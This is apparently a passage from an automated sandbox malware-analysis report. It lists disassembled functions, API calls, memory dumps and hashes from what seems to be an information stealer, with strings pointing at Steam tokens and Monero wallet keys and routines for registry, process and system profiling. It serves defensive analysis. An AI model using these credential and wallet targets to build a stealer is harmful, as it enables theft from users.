Part of subcall function 00078100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00078158
Part of subcall function 00078100: __aulldiv.LIBCMT ref: 00078172
Part of subcall function 00078100: __aulldiv.LIBCMT ref: 00078180
Part of subcall function 00078100: wsprintfA.USER32 ref: 000781AC

Part of subcall function 000787C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00080E28,00000000,?), ref: 0007882F
Part of subcall function 000787C0: RtlAllocateHeap.NTDLL(00000000), ref: 00078836
Part of subcall function 000787C0: wsprintfA.USER32 ref: 00078850

Part of subcall function 00078320: RegOpenKeyExA.KERNEL32(00000000,00D7ACC0,00000000,00020019,00000000,000805B6), ref: 000783A4

Part of subcall function 00078320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00078426
Part of subcall function 00078320: wsprintfA.USER32 ref: 00078459
Part of subcall function 00078320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0007847B
Part of subcall function 00078320: RegCloseKey.ADVAPI32(00000000), ref: 0007848C
Part of subcall function 00078320: RegCloseKey.ADVAPI32(00000000), ref: 00078499

Part of subcall function 00078680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,000805B7), ref: 000786CA
Part of subcall function 00078680: Process32First.KERNEL32(?,00000128), ref: 000786DE
Part of subcall function 00078680: Process32Next.KERNEL32(?,00000128), ref: 000786F3
Part of subcall function 00078680: CloseHandle.KERNEL32(?), ref: 00078761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0007265B

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: 4a136d126d0e6405f0a2c62205ceaf9337bdb63abf893f887e21ceac35ddfc61
Instruction ID: 94bfbe7264edb1a4c2746ba85024bbebd6e4c5dfc007db2dea4a7dae5eecc4e0
Opcode Fuzzy Hash: 4a136d126d0e6405f0a2c62205ceaf9337bdb63abf893f887e21ceac35ddfc61
Instruction Fuzzy Hash: 91724272D10118AADB59FB60DC95DDE733CAF95300F50C299B12A66053EF342B4DCB6A

Function 00066D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f35e363e9e1a6c6afaf2fa692032474468c610fbd5de426b57d2ef3f296d529
Instruction ID: 1fa6879376f60aeca5509dd656873b376ee967babdfaa44188b90792a486240f
Opcode Fuzzy Hash: 6f35e363e9e1a6c6afaf2fa692032474468c610fbd5de426b57d2ef3f296d529
Instruction Fuzzy Hash: 256118B4D00218EFCB54CF94E984BEEB7B1BF04304F1085A8E41AA7281D776AE94DF91

Function 000770D0 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0007718C

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-4138519520
Opcode ID: c4f16560c174be2a20876cfa204c49be32765857ec1fa7990bbbab79b69bbb59
Instruction ID: 091ddc9552e4f7d3b8d420926d60d33554516e850f6d91e6cf1547f67ce8b047
Opcode Fuzzy Hash: c4f16560c174be2a20876cfa204c49be32765857ec1fa7990bbbab79b69bbb59
Instruction Fuzzy Hash: EB5196B0D04218ABDB64EB90DC55BEEB374AF44304F5080A8E11D77182EF786E89CF59

Function 00075100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A820: lstrlen.KERNEL32(00064F05,?,?,00064F05,00080DDE), ref: 0007A82B
Part of subcall function 0007A820: lstrcpy.KERNEL32(00080DDE,00000000), ref: 0007A885

lstrlen.KERNEL32(00000000,00000000,00080ACA), ref: 0007512A

Strings

steam_tokens.txt, xrefs: 0007513F

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 6e555026f54aa27f823c7457ff6acb654868956e78973739f77210156a4fd543
Instruction ID: 8d5726abe0db1cf95838f397f04468beb40b54a6c92f260f3fe3550b7d10b3d1
Opcode Fuzzy Hash: 6e555026f54aa27f823c7457ff6acb654868956e78973739f77210156a4fd543
Instruction Fuzzy Hash: DCF03171E1010866DB08F7B0EC579EDB33CAF95300F408168B45B66493EF386609C7AB

Function 00077ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00080E2C), ref: 00077F00
wsprintfA.USER32 ref: 00077F16

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 65c407d01ee32192c2ef29ea5a10da701bd6b0e8f269808e0db863c41ea510c3
Instruction ID: a5b66b5af44341816f7128949d1bcd4922c817b72c584494994fc1224ad4b0e1
Opcode Fuzzy Hash: 65c407d01ee32192c2ef29ea5a10da701bd6b0e8f269808e0db863c41ea510c3
Instruction Fuzzy Hash: D7F062B1904248EBCB14DF84EC45FAAF7BCFB45B14F00466AF51592280D7795904CBD5

Function 0006B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

lstrlen.KERNEL32(00000000), ref: 0006B9C2
lstrlen.KERNEL32(00000000), ref: 0006B9D6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ec7305d7c643171184daf5c556d0cb76f54210d7ee4426fb3a950c5fae46ce51
Instruction ID: 56e99631e831a418dd45658d93f1f5a40d52443ee1a00e540f1064df91c54c4e
Opcode Fuzzy Hash: ec7305d7c643171184daf5c556d0cb76f54210d7ee4426fb3a950c5fae46ce51
Instruction Fuzzy Hash: BBE1F372E101189BDB45FBA0DC96EEE733CBF95300F408159F51A66092EF386A49CB67

Function 0006AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

lstrlen.KERNEL32(00000000), ref: 0006B16A
lstrlen.KERNEL32(00000000), ref: 0006B17E

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 0744829ea1d07cd1e27db9ce8509368200e94df7d56409d09b60dca5ac4cb2d3
Instruction ID: 9dfc1b96994c5ca173de457e24ba62579006eccfaf75617c9b6d33affafbd28d
Opcode Fuzzy Hash: 0744829ea1d07cd1e27db9ce8509368200e94df7d56409d09b60dca5ac4cb2d3
Instruction Fuzzy Hash: D491E171E101049BDB44FBA0DC55DEE7339BF95300F408169F51BA6092EF386A59CBA7

Function 0006B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0007A740: lstrcpy.KERNEL32(00080E17,00000000), ref: 0007A788

Part of subcall function 0007A9B0: lstrlen.KERNEL32(?,00D78A30,?,\Monero\wallet.keys,00080E17), ref: 0007A9C5
Part of subcall function 0007A9B0: lstrcpy.KERNEL32(00000000), ref: 0007AA04
Part of subcall function 0007A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0007AA12

Part of subcall function 0007A920: lstrcpy.KERNEL32(00000000,?), ref: 0007A972
Part of subcall function 0007A920: lstrcat.KERNEL32(00000000), ref: 0007A982

Part of subcall function 0007A8A0: lstrcpy.KERNEL32(?,00080E17), ref: 0007A905

lstrlen.KERNEL32(00000000), ref: 0006B42E
lstrlen.KERNEL32(00000000), ref: 0006B442

Part of subcall function 0007A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0007A7E6

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
